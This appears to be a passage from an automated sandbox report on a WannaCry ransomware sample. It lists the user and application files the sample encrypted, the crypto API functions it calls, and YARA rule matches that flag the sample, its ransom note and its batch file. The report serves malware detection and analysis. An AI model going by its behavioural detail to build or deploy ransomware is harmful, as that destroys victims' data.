                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT entropy: 7.99973530191Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196401331849.txt.WNCRYT entropy: 7.99830565486Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT entropy: 7.9977256426Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\4bnLx4S3ZRMpYV30k3R5vRy8JVg[1].js.WNCRYT entropy: 7.9914225427Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ea91225a-124d-44ac-a71c-a1f2683bf2a0}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99634781809Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196701332050.txt.WNCRYT entropy: 7.99844759878Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\s.wnry entropy: 7.998263053Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\t.wnry entropy: 7.99727613788Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT entropy: 7.99966068279Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRYT entropy: 7.99944724992Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRYT entropy: 7.99956264676Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c1232008-cc52-49cc-b5f1-23c1b5d7d5ac}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.995946757Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c848d914-ba53-4c20-8f7c-784438ddc552}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99597013792Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\passwords.txt.WNCRYT entropy: 7.99921528294Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\surnames.txt.WNCRYT entropy: 7.99754997178Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy) entropy: 7.99966068279Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\passwords.txt.WNCRY (copy) entropy: 7.99921528294Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\surnames.txt.WNCRY (copy) entropy: 7.99754997178Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\english_wikipedia.txt.WNCRY (copy) entropy: 7.9993901607Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\female_names.txt.WNCRY (copy) entropy: 7.9936065146Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\us_tv_and_film.txt.WNCRY (copy) entropy: 7.99884679638Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRY (copy) entropy: 7.99272832834Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.99974866071Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663979588962890.txt.WNCRY (copy) entropy: 7.99814598757Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663980110963572.txt.WNCRY (copy) entropy: 7.99826425195Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196401331849.txt.WNCRY (copy) entropy: 7.99830565486Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRY (copy) entropy: 7.99944724992Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRY (copy) entropy: 7.99956264676Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c1232008-cc52-49cc-b5f1-23c1b5d7d5ac}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.995946757Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c848d914-ba53-4c20-8f7c-784438ddc552}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99597013792Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{d17da1ee-054d-4d15-97a5-4869d17ec228}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99681653215Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRY (copy) entropy: 7.99989674461Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRY (copy) entropy: 7.99961308193Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRY (copy) entropy: 7.99686955785Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99840227336Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99904477518Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99918109236Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_10[1].txt.WNCRY (copy) entropy: 7.99900831863Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_11[1].txt.WNCRY (copy) entropy: 7.99514108186Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_12[1].txt.WNCRY (copy) entropy: 7.9992070169Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_13[1].txt.WNCRY (copy) entropy: 7.99691946201Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_15[1].txt.WNCRY (copy) entropy: 7.99864001722Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_16[1].txt.WNCRY (copy) entropy: 7.99784733723Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_18[1].txt.WNCRY (copy) entropy: 7.99850649486Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_19[1].txt.WNCRY (copy) entropy: 7.99832041058Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_20[1].txt.WNCRY (copy) entropy: 7.99730132449Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_21[1].txt.WNCRY (copy) entropy: 7.9952528617Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_22[1].txt.WNCRY (copy) entropy: 7.99910028877Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_24[1].txt.WNCRY (copy) entropy: 7.99621382114Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_25[1].txt.WNCRY (copy) entropy: 7.99516245725Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_26[1].txt.WNCRY (copy) entropy: 7.99975092602Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_27[1].txt.WNCRY (copy) entropy: 7.99803440825Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_28[1].txt.WNCRY (copy) entropy: 7.9990024496Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_29[1].txt.WNCRY (copy) entropy: 7.99018623416Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_2[1].txt.WNCRY (copy) entropy: 7.997611921Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_3[1].txt.WNCRY (copy) entropy: 7.99129357087Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_4[1].txt.WNCRY (copy) entropy: 7.99184419324Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_6[1].txt.WNCRY (copy) entropy: 7.99548732171Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_7[1].txt.WNCRY (copy) entropy: 7.99906675767Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[1].txt.WNCRY (copy) entropy: 7.99608409501Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_9[1].txt.WNCRY (copy) entropy: 7.99719160961Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRY (copy) entropy: 7.99598914203Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRY (copy) entropy: 7.99504337952Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRY (copy) entropy: 7.99844493874Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ea91225a-124d-44ac-a71c-a1f2683bf2a0}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99634781809Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196701332050.txt.WNCRY (copy) entropy: 7.99844759878Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664197001416167.txt.WNCRY (copy) entropy: 7.99834860258Jump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,31_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,31_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004046F0 CryptImportKey,31_2_004046F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,34_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,34_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004046F0 CryptImportKey,34_2_004046F0

                  System Summary

                  barindex
                  Malicious sample detected (through community Yara rule)
                  Source: LisectAVT_2403002A_126.EXE.exe, type: SAMPLEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: LisectAVT_2403002A_126.EXE.exe, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
                  Source: LisectAVT_2403002A_126.EXE.exe, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
                  Source: 34.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 31.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 34.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 31.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 46.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 46.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 0.0.LisectAVT_2403002A_126.EXE.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 0.0.LisectAVT_2403002A_126.EXE.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
                  Source: 0.0.LisectAVT_2403002A_126.EXE.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
                  Source: 00000000.00000000.849626717.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
